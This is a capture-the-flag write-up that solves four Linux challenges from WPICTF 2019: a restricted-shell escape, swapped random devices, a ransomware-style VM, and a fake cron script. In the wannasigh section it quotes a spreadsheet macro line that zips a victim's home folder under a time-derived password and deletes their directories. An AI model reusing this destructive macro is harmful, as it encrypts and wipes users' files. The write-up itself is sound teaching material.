We took part in the WPICTF 2019 and made place 28 in the end.
We’ve also solved all 4 Linux challenges, here is a write up for them.
suckmore-shell
In this challenge we can login via SSH to the provided server and are presented with a non standard shell in which some commands are swapped (ls
behaves like sleep
, pwd
like uname
, etc.).
After a bit of trying around we figured out that exec
still worked and we can break out of it by running exec /bin/sh
.
After that we only had to output the flag without using cat
, we’ve used grep
for this:
Flag was: WPI{bash_sucks0194342}
pseudo-random
Again we get a shell on the target, this time a normal /bin/sh
.
After poking around a bit we’ve noticed that /dev/random
and /dev/urandom
have been replaced on the system.
We decrypt random
with urandom
as the key and get the flag:
Flag was: WPI{@11_Ur_d3v1c3s_r_b3l0ng_2_us}
wannasigh
This was an interesting challenge, downloading the linked file we got a 3GB virtual machine.
Running it we are presented with an Ubuntu system which only contains an encrypted zip file in our home directory, all other files are gone.
However hidden files are still in the home directory including a .mozilla
folder. Opening Firefox and checking the history we see that a coffee-stats-calculator.ods
file was recently downloaded.
We download that file again (from: https://gitlab.com/def-not-hack4h/coffee-help/blob/master/coffee-stats-calculator.ods) and check the embedded macros:
Without the line break the full last line is:
'Shell("pwd=$((($(date +%s%N)/1000000)); zip -r --password $pwd your-stuff.zip ~/*; rm Desktop; rm Documents; rm Downloads; rm Music; rm Pictures; rm Public; rm Templates; rm Videos")
The password is based on the time of when that command ran. %s
is the normal unix timestamp, %N
are nanoseconds (but only 3 digits of those are used).
We can get the time when the file was modified by running stat
on it and then we just brute forced the last 5 digits:
With this password we unziped the file, in there was a Flag.xcf
file, which contained the flag:
Flag was: WPI{Macros_can_kill}
crond
We again get a shell on a system. The description hints that someone replaced cron
.
The biggest problem here was to find the new cron, since there was no find
or ps
on that system.
But with a bit of /proc
parsing we can find it:
The new cron is at /usr/bin/fakecron
, it is also just a simple shellscript:
#!/bin/bash # Cron. But worse. # # Copyright (c) 2019, SuckMore Software, a division of WPI Digital Holdings Ltd. # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # 1. Redistributions of source code must retain the above copyrig # notice, this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # 3. All advertising materials mentioning features or use of this software # must display the following acknowledgement: # This product includes software developed by SuckMore Software, a division # of WPI Digital Holdings Ltd. # 4. Neither the name of the SuckMore Software, a division of WPI Digital Holdings # Ltd, nor the names of its contributors may be used to endorse or promote # products derived from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY SuckMore Software, a division of # WPI Digital Holdings Ltd., ''AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND # FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL # SuckMore Software, a division of WPI Digital Holdings Ltd. # DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. file="/etc/deadline" cron() { second=0 minute=0 hour=0 day=1; month=1; year=2019; while true; do sleep 1; target_second=`cut -d " " -f 6 $file` target_minute=`cut -d " " -f 5 $file` target_hour=`cut -d " " -f 4 $file` target_day=`cut -d " " -f 3 $file` target_month=`cut -d " " -f 2 $file` target_year=`cut -d " " -f 1 $file` if [[ "$second" -eq 59 ]]; then minute=$((minute+1)); second=0; elif [[ "$minute" -eq 59 ]]; then hour=$((hour+1)); second=0; minute=0; else second=$((second+1)); fi if [[ "$year" -eq "$target_year" ]] \ && [[ "$month" -eq "$target_month" ]] \ && [[ "$day" -eq "$target_day" ]] \ && [[ "$hour" -eq "$target_second" ]] \ && [[ "$minute" -eq "$target_minute" ]] \ && [[ "$second" -eq "$target_hour" ]]; then # echo "WPI{}" > /home/ctf/flag.txt exec_flag fi rm /etc/faketimerc echo "$year-$month-$day $hour:$minute:$second" > /etc/faketimerc done } cron &
The code is pretty simple, it runs an endless loop with a sleep 1
in it.
It always stores its current time in /etc/faketimerc
.
It also always reads from /etc/deadline
, and if the current time and the time provided in there are equal, then exec_flag
is ran which writes the flag into our home.
Update: There is a bug in the fakecron implementation. Seconds maps to hours and hours to seconds. We got lucky with our values and didn’t run into that problem though.
/etc/deadline
is world writeable so we simply overwrite it with an upcoming time and wait a bit, then the flag appears in our home:
Flag was: WPI{L1nUxH@ck3r01a4}